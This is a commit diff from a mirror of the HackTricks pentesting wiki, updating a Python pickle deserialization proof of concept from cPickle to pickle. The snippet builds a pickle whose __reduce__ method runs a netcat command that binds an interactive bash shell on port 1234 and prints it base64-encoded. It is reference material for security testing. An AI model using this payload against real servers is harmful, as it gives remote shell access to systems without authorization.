mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
GitBook: [master] one page modified
This commit is contained in:
parent
10de8a64f9
commit
4dc467eefe
1 changed files with 2 additions and 2 deletions
|
@ -85,11 +85,11 @@ When the object gets unpickle, the function _\_\_reduce\_\__ will be executed.
|
|||
When exploited, server could return an error.
|
||||
|
||||
```python
|
||||
import cPickle, os, base64
|
||||
import pickle, os, base64
|
||||
class P(object):
|
||||
def __reduce__(self):
|
||||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||||
print(base64.b64encode(cPickle.dumps(P())))
|
||||
print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
|
||||
## NodeJS
|
||||
|
|
Loading…
Reference in a new issue